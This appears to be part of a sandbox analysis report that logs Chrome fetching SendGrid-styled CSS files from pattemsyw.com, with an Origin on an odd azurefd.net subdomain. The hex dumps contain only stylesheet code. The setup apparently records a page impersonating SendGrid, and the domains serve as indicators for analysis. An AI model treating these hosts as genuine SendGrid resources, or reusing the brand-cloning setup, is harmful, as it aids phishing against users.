2025-04-21 09:32:34 UTC	569	OUT	GET /sendgrid/129.c49e0d483e4298ff24d7.css HTTP/1.1 Host: pattemsyw.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-21 09:32:34 UTC	376	IN	HTTP/1.1 200 OK Date: Mon, 21 Apr 2025 09:32:34 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Server: cloudflare Last-Modified: Thu, 23 May 2024 08:33:05 GMT Etag: W/"664eff41-102c5" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cf-Cache-Status: MISS CF-RAY: 933bdffb1f7c1b4b-PHX alt-svc: h3=":443"; ma=86400
2025-04-21 09:32:34 UTC	993	IN	Data Raw: 35 38 32 30 0d 0a 2e 6d 6f 64 61 6c 2d 6d 6f 64 75 6c 65 5f 5f 6d 6f 64 61 6c 2d 74 69 74 6c 65 5f 5f 5f 32 2d 4c 75 59 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 37 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 30 70 78 3b 63 6f 6c 6f 72 3a 23 32 39 34 36 36 31 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 2e 6d 6f 64 61 6c 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 6d 6f 64 61 6c 5f 5f 5f 33 62 4c 6a 4f 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 30 3b 72 69 67 68 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 6c 65 66 74 3a 30 3b 7a 2d 69 6e 64 65 78 3a 32 30 30 30 30 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 6e 6f 72 6d 61 6c 3b Data Ascii: 5820.modal-module__modal-title___2-LuY{float:left;margin-top:7px;font-size:20px;line-height:30px;color:#294661;text-transform:none}.modal-module__sg-modal___3bLjO{position:fixed;top:0;right:0;bottom:0;left:0;z-index:20000;display:none;word-break:normal;
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 64 75 6c 65 5f 5f 73 69 64 65 2d 6d 6f 64 61 6c 5f 5f 5f 33 63 55 69 66 20 2e 6d 6f 64 61 6c 2d 6d 6f 64 75 6c 65 5f 5f 61 6c 65 72 74 5f 5f 5f 32 58 53 4d 50 2c 2e 6d 6f 64 61 6c 2d 6d 6f 64 75 6c 65 5f 5f 73 69 64 65 2d 6d 6f 64 61 6c 5f 5f 5f 33 63 55 69 66 20 2e 6d 6f 64 61 6c 2d 6d 6f 64 75 6c 65 5f 5f 69 6e 70 75 74 2d 73 65 6c 65 63 74 2d 77 72 61 70 5f 5f 5f 33 4f 45 33 36 2c 2e 6d 6f 64 61 6c 2d 6d 6f 64 75 6c 65 5f 5f 73 69 64 65 2d 6d 6f 64 61 6c 5f 5f 5f 33 63 55 69 66 20 2e 6d 6f 64 61 6c 2d 6d 6f 64 75 6c 65 5f 5f 69 6e 70 75 74 2d 74 65 78 74 2d 77 72 61 70 5f 5f 5f 32 55 55 44 30 2c 2e 6d 6f 64 61 6c 2d 6d 6f 64 75 6c 65 5f 5f 73 69 64 65 2d 6d 6f 64 61 6c 5f 5f 5f 33 63 55 69 66 20 66 69 65 6c 64 73 65 74 2c 2e 6d 6f 64 61 6c 2d 6d 6f 64 Data Ascii: dule__side-modal___3cUif .modal-module__alert___2XSMP,.modal-module__side-modal___3cUif .modal-module__input-select-wrap___3OE36,.modal-module__side-modal___3cUif .modal-module__input-text-wrap___2UUD0,.modal-module__side-modal___3cUif fieldset,.modal-mod
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 5f 5f 5f 33 57 37 59 4a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 74 79 6c 65 67 75 69 64 65 69 63 6f 6e 73 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 3b 73 70 65 61 6b 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 5f 5f 5f 33 57 37 59 4a 2e 69 63 6f Data Ascii: }.icon-module__sg-icon___3W7YJ{font-family:styleguideicons;font-size:16px;font-style:normal;font-weight:400;line-height:1;text-transform:none;speak:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.icon-module__sg-icon___3W7YJ.ico
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 63 61 6c 65 6e 64 61 72 5f 5f 5f 33 35 32 67 46 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 39 31 37 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 63 61 72 65 74 5f 5f 5f 33 41 6a 43 33 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 39 30 30 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 63 68 61 74 5f 5f 5f 32 43 44 6c 69 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 39 35 42 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 63 68 65 63 6b 5f 5f 5f 33 31 55 38 57 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 39 30 35 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 Data Ascii: "}.icon-module__sg-icon-calendar___352gF:before{content:"\E917"}.icon-module__sg-icon-caret___3AjC3:before{content:"\E900"}.icon-module__sg-icon-chat___2CDli:before{content:"\E95B"}.icon-module__sg-icon-check___31U8W:before{content:"\E905"}.icon-module__s
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 45 39 30 31 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 63 73 76 5f 5f 5f 63 2d 37 7a 38 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 39 32 41 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 64 65 73 6b 74 6f 70 2d 76 69 65 77 5f 5f 5f 55 6b 4a 4b 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 36 32 37 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 64 69 76 69 64 65 72 5f 5f 5f 6e 67 74 58 48 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 39 31 41 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 64 6f 77 6e 6c 6f 61 64 5f 5f 5f 32 44 71 47 74 3a 62 65 66 6f 72 65 2c 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 Data Ascii: E901"}.icon-module__sg-icon-csv___c-7z8:before{content:"\E92A"}.icon-module__sg-icon-desktop-view___UkJKf:before{content:"\E627"}.icon-module__sg-icon-divider___ngtXH:before{content:"\E91A"}.icon-module__sg-icon-download___2DqGt:before,.icon-module__sg-ic
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 69 6e 66 6f 2d 63 69 72 63 6c 65 5f 5f 5f 31 36 34 68 61 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 39 30 33 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 6b 65 79 5f 5f 5f 33 52 32 73 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 39 31 38 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 6c 69 73 74 5f 5f 5f 33 7a 42 57 43 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 39 32 42 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 6c 6f 63 6b 65 64 5f 5f 5f 32 6c 49 62 45 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 39 31 44 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 6d 61 69 Data Ascii: le__sg-icon-info-circle___164ha:before{content:"\E903"}.icon-module__sg-icon-key___3R2sr:before{content:"\E918"}.icon-module__sg-icon-list___3zBWC:before{content:"\E92B"}.icon-module__sg-icon-locked___2lIbE:before{content:"\E91D"}.icon-module__sg-icon-mai
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 6e 74 3a 22 5c 45 39 35 45 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 73 65 74 74 69 6e 67 73 5f 5f 5f 31 33 47 51 55 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 39 35 41 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 73 6f 63 69 61 6c 5f 5f 5f 32 61 33 33 49 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 39 32 35 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 73 6f 72 74 2d 61 73 63 5f 5f 5f 32 56 50 2d 42 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 39 31 30 22 7d 2e 69 63 6f 6e 2d 6d 6f 64 75 6c 65 5f 5f 73 67 2d 69 63 6f 6e 2d 73 6f 72 74 2d 64 65 73 63 5f 5f 5f 32 73 55 4d 37 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 39 30 Data Ascii: nt:"\E95E"}.icon-module__sg-icon-settings___13GQU:before{content:"\E95A"}.icon-module__sg-icon-social___2a33I:before{content:"\E925"}.icon-module__sg-icon-sort-asc___2VP-B:before{content:"\E910"}.icon-module__sg-icon-sort-desc___2sUM7:before{content:"\E90
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 5f 32 64 67 52 6d 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 39 35 36 22 7d 2e 61 6c 65 72 74 2d 6d 6f 64 75 6c 65 5f 5f 61 6c 65 72 74 5f 5f 5f 31 56 70 48 4f 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 3b 70 61 64 64 69 6e 67 3a 32 30 70 78 20 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 61 6c 65 72 74 2d 6d 6f 64 75 6c 65 5f 5f 61 6c 65 72 74 5f 5f 5f 31 56 70 48 4f 2e 61 6c 65 72 74 2d 6d 6f 64 75 6c 65 5f 5f 61 6c 65 72 74 2d 73 75 63 63 65 73 73 5f 5f 5f 4d 63 4d 4e 43 7b 63 6f 6c 6f 72 3a 23 32 65 36 62 33 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 31 66 37 65 39 7d 2e 61 6c 65 72 74 2d 6d 6f 64 75 6c 65 Data Ascii: _2dgRm:before{content:"\E956"}.alert-module__alert___1VpHO{position:relative;z-index:1000;padding:20px 0;font-size:13px;text-align:center}.alert-module__alert___1VpHO.alert-module__alert-success___McMNC{color:#2e6b30;background-color:#f1f7e9}.alert-module
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 6b 67 72 6f 75 6e 64 3a 23 66 34 64 64 64 64 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 62 37 31 63 31 63 7d 2e 61 6c 65 72 74 2d 6d 6f 64 75 6c 65 5f 5f 61 6c 65 72 74 5f 5f 5f 31 56 70 48 4f 2e 61 6c 65 72 74 2d 6d 6f 64 75 6c 65 5f 5f 61 6c 65 72 74 2d 64 61 6e 67 65 72 5f 5f 5f 32 44 5f 66 57 20 5b 64 61 74 61 2d 74 6f 6f 6c 74 69 70 5d 2e 68 61 73 2d 75 6e 64 65 72 6c 69 6e 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 39 30 64 65 67 2c 23 62 37 31 63 31 63 20 33 33 25 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 30 29 7d 2e 61 6c 65 72 74 2d 6d 6f 64 75 6c 65 5f 5f 61 6c 65 72 74 5f 5f 5f 31 56 70 48 4f 2e 61 6c 65 72 74 2d 6d 6f 64 75 6c 65 5f 5f 61 6c 65 72 74 2d 74 72 69 61 6c 5f 5f 5f 31 35 Data Ascii: kground:#f4dddd;border-color:#b71c1c}.alert-module__alert___1VpHO.alert-module__alert-danger___2D_fW [data-tooltip].has-underline{background-image:linear-gradient(90deg,#b71c1c 33%,transparent 0)}.alert-module__alert___1VpHO.alert-module__alert-trial___15
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 72 69 6d 61 72 79 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 39 34 36 36 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 61 6c 65 72 74 2d 6d 6f 64 75 6c 65 5f 5f 61 6c 65 72 74 5f 5f 5f 31 56 70 48 4f 2e 61 6c 65 72 74 2d 6d 6f 64 75 6c 65 5f 5f 61 6c 65 72 74 2d 69 6e 6c 69 6e 65 5f 5f 5f 33 30 35 66 65 7b 7a 2d 69 6e 64 65 78 3a 30 3b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 2d 65 6e 64 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 61 6c 65 72 74 2d 6d 6f 64 75 6c 65 5f 5f 61 6c 65 72 74 5f 5f 5f 31 56 70 48 4f 2e 61 6c 65 72 74 2d 6d 6f 64 75 6c 65 5f 5f 61 6c 65 72 74 2d 69 6e 6c 69 6e 65 5f 5f 5f 33 30 35 66 65 20 70 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 61 6c 65 72 74 2d 6d 6f 64 75 6c 65 Data Ascii: rimary{color:#fff;background:#294661;border-color:#fff}.alert-module__alert___1VpHO.alert-module__alert-inline___305fe{z-index:0;align-self:flex-end;width:100%}.alert-module__alert___1VpHO.alert-module__alert-inline___305fe p{text-align:left}.alert-module

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49743	172.67.138.38	443	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-21 09:32:34 UTC	628	OUT	GET /sendgrid/container.26013ccb977c385da82e216d1d448f4bbf39435b.css HTTP/1.1 Host: pattemsyw.com Connection: keep-alive Origin: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-21 09:32:34 UTC	375	IN	HTTP/1.1 200 OK Date: Mon, 21 Apr 2025 09:32:34 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Server: cloudflare Last-Modified: Thu, 23 May 2024 08:33:10 GMT Etag: W/"664eff46-3db6" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cf-Cache-Status: MISS CF-RAY: 933bdffb1ea47867-PHX alt-svc: h3=":443"; ma=86400
2025-04-21 09:32:34 UTC	994	IN	Data Raw: 33 64 62 36 0d 0a 61 70 70 63 75 65 73 2d 63 6f 6e 74 61 69 6e 65 72 20 3e 20 69 66 72 61 6d 65 5b 73 72 63 3d 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 5d 2c 20 61 70 70 63 75 65 73 2d 6c 61 79 65 72 2c 20 61 70 70 63 75 65 73 2d 6c 61 79 65 72 20 2e 68 6f 74 73 70 6f 74 20 3e 20 69 66 72 61 6d 65 2c 20 61 70 70 63 75 65 73 2d 6c 61 79 65 72 20 2e 61 70 70 63 75 65 73 2d 68 6f 74 73 70 6f 74 20 3e 20 69 66 72 61 6d 65 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 62 6f 72 64 65 72 3a 20 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 66 6f Data Ascii: 3db6appcues-container > iframe[src="about:blank"], appcues-layer, appcues-layer .hotspot > iframe, appcues-layer .appcues-hotspot > iframe { margin: 0 !important; padding: 0 !important; border: 0 !important; font-size: 100% !important; fo
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 6e 73 69 74 69 6f 6e 3a 20 74 72 61 6e 73 66 6f 72 6d 20 30 2e 38 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 2c 20 30 2e 38 34 2c 20 30 2e 33 35 2c 20 31 29 2c 20 6f 70 61 63 69 74 79 20 30 2e 35 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 20 30 2c 20 30 2c 20 31 29 20 30 2e 31 73 3b 0d 0a 20 20 77 69 64 74 68 3a 20 34 30 30 70 78 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 35 30 70 78 3b 20 7d 0d 0a 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 34 34 30 70 78 29 20 7b 0d 0a 20 20 20 20 61 70 70 63 75 65 73 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 66 75 6c 6c 73 63 72 65 65 6e 29 5b 64 61 74 61 2d 70 61 74 74 65 72 6e 2d 74 79 70 65 3d 27 73 68 6f 72 74 79 27 5d 2c 20 61 70 70 63 75 Data Ascii: nsition: transform 0.8s cubic-bezier(0.2, 0.84, 0.35, 1), opacity 0.5s cubic-bezier(0, 0, 0, 1) 0.1s; width: 400px; height: 150px; } @media screen and (max-width: 440px) { appcues-container:not(.fullscreen)[data-pattern-type='shorty'], appcu
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 69 74 69 6f 6e 3d 27 6c 65 66 74 27 5d 2c 20 61 70 70 63 75 65 73 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 66 75 6c 6c 73 63 72 65 65 6e 29 5b 64 61 74 61 2d 70 61 74 74 65 72 6e 2d 74 79 70 65 3d 27 73 6c 69 64 65 6f 75 74 27 5d 5b 64 61 74 61 2d 70 6f 73 69 74 69 6f 6e 3d 27 62 6f 74 74 6f 6d 4c 65 66 74 27 5d 20 7b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 32 30 70 78 3b 20 7d 0d 0a 20 20 61 70 70 63 75 65 73 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 66 75 6c 6c 73 63 72 65 65 6e 29 5b 64 61 74 61 2d 70 61 74 74 65 72 6e 2d 74 79 70 65 3d 27 73 68 6f 72 74 79 27 5d 5b 64 61 74 61 2d 70 6f 73 69 74 69 6f 6e 3d 27 6c 65 66 74 27 5d 2c 20 61 70 70 63 75 65 73 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 66 75 6c 6c 73 63 72 65 65 6e 29 5b 64 61 Data Ascii: ition='left'], appcues-container:not(.fullscreen)[data-pattern-type='slideout'][data-position='bottomLeft'] { left: 20px; } appcues-container:not(.fullscreen)[data-pattern-type='shorty'][data-position='left'], appcues-container:not(.fullscreen)[da
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 2c 20 61 70 70 63 75 65 73 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 66 75 6c 6c 73 63 72 65 65 6e 29 5b 64 61 74 61 2d 70 61 74 74 65 72 6e 2d 74 79 70 65 3d 27 73 6c 69 64 65 6f 75 74 27 5d 5b 64 61 74 61 2d 70 6f 73 69 74 69 6f 6e 3d 22 62 6f 74 74 6f 6d 22 5d 20 7b 0d 0a 20 20 20 20 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 20 7d 0d 0a 20 20 61 70 70 63 75 65 73 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 66 75 6c 6c 73 63 72 65 65 6e 29 5b 64 61 74 61 2d 70 61 74 74 65 72 6e 2d 74 79 70 65 3d 27 73 68 6f 72 74 79 27 5d 5b 64 61 74 61 2d 70 6f 73 69 74 69 6f 6e 5e 3d 27 74 6f 70 27 5d 2c 20 61 70 70 63 75 65 73 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e Data Ascii: , appcues-container:not(.fullscreen)[data-pattern-type='slideout'][data-position="bottom"] { right: 0; left: 0; margin: auto; } appcues-container:not(.fullscreen)[data-pattern-type='shorty'][data-position^='top'], appcues-container:not(.
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 73 69 74 69 6f 6e 3d 27 74 6f 70 4c 65 66 74 27 5d 2c 20 61 70 70 63 75 65 73 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 66 75 6c 6c 73 63 72 65 65 6e 29 5b 64 61 74 61 2d 70 61 74 74 65 72 6e 2d 74 79 70 65 3d 27 73 68 6f 72 74 79 27 5d 2e 61 70 63 2d 68 69 64 64 65 6e 5b 64 61 74 61 2d 70 6f 73 69 74 69 6f 6e 3d 27 62 6f 74 74 6f 6d 4c 65 66 74 27 5d 2c 20 61 70 70 63 75 65 73 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 66 75 6c 6c 73 63 72 65 65 6e 29 5b 64 61 74 61 2d 70 61 74 74 65 72 6e 2d 74 79 70 65 3d 27 73 6c 69 64 65 6f 75 74 27 5d 2e 61 70 63 2d 68 69 64 64 65 6e 5b 64 61 74 61 2d 70 6f 73 69 74 69 6f 6e 3d 27 74 6f 70 4c 65 66 74 27 5d 2c 20 61 70 70 63 75 65 73 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 66 75 6c 6c 73 63 72 65 Data Ascii: sition='topLeft'], appcues-container:not(.fullscreen)[data-pattern-type='shorty'].apc-hidden[data-position='bottomLeft'], appcues-container:not(.fullscreen)[data-pattern-type='slideout'].apc-hidden[data-position='topLeft'], appcues-container:not(.fullscre
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 2d 70 61 74 74 65 72 6e 2d 74 79 70 65 3d 27 73 68 6f 72 74 79 27 5d 2e 61 70 63 2d 68 69 64 64 65 6e 5b 64 61 74 61 2d 70 6f 73 69 74 69 6f 6e 3d 27 72 69 67 68 74 27 5d 2c 20 61 70 70 63 75 65 73 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 66 75 6c 6c 73 63 72 65 65 6e 29 5b 64 61 74 61 2d 70 61 74 74 65 72 6e 2d 74 79 70 65 3d 27 73 6c 69 64 65 6f 75 74 27 5d 2e 61 70 63 2d 68 69 64 64 65 6e 5b 64 61 74 61 2d 70 6f 73 69 74 69 6f 6e 3d 27 72 69 67 68 74 27 5d 20 7b 0d 0a 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 35 30 25 29 20 74 72 61 6e 73 6c 61 74 65 58 28 35 30 25 29 3b 20 7d 0d 0a 0d 0a 2e 61 70 70 63 75 65 73 2d 6e 6f 73 63 72 6f 6c 6c 20 7b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 Data Ascii: -pattern-type='shorty'].apc-hidden[data-position='right'], appcues-container:not(.fullscreen)[data-pattern-type='slideout'].apc-hidden[data-position='right'] { transform: translateY(-50%) translateX(50%); }.appcues-noscroll { overflow: hidde
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 2d 69 6e 6e 65 72 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 20 30 2e 31 73 3b 0d 0a 20 20 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 20 30 2e 31 73 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 74 72 61 6e 73 66 6f 72 6d 20 30 2e 31 73 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 20 31 32 70 78 20 31 32 70 78 20 30 3b 0d 0a 20 20 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 20 31 32 70 78 20 31 32 70 78 20 30 3b 0d 0a 20 20 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 20 31 32 70 78 20 31 32 70 78 Data Ascii: -inner { -webkit-transition: -webkit-transform 0.1s; -moz-transition: -moz-transform 0.1s; transition: transform 0.1s; -webkit-transform-origin: 12px 12px 0; -moz-transform-origin: 12px 12px 0; -ms-transform-origin: 12px 12px
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 72 6d 3a 20 73 63 61 6c 65 28 31 2e 38 29 3b 0d 0a 20 20 20 20 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 2e 38 29 3b 0d 0a 20 20 20 20 20 20 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 2e 38 29 3b 0d 0a 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 2e 38 29 3b 20 7d 0d 0a 20 20 61 70 70 63 75 65 73 2d 6c 61 79 65 72 20 2e 62 65 61 63 6f 6e 2e 62 6f 75 6e 63 65 2d 69 6e 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 62 6f 75 6e 63 65 49 6e 20 30 2e 35 73 20 6c 69 6e 65 61 72 3b 0d 0a 20 20 20 20 2d 6d 6f 7a 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 62 6f 75 6e 63 65 49 6e 20 30 2e 35 73 20 6c 69 6e 65 61 72 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 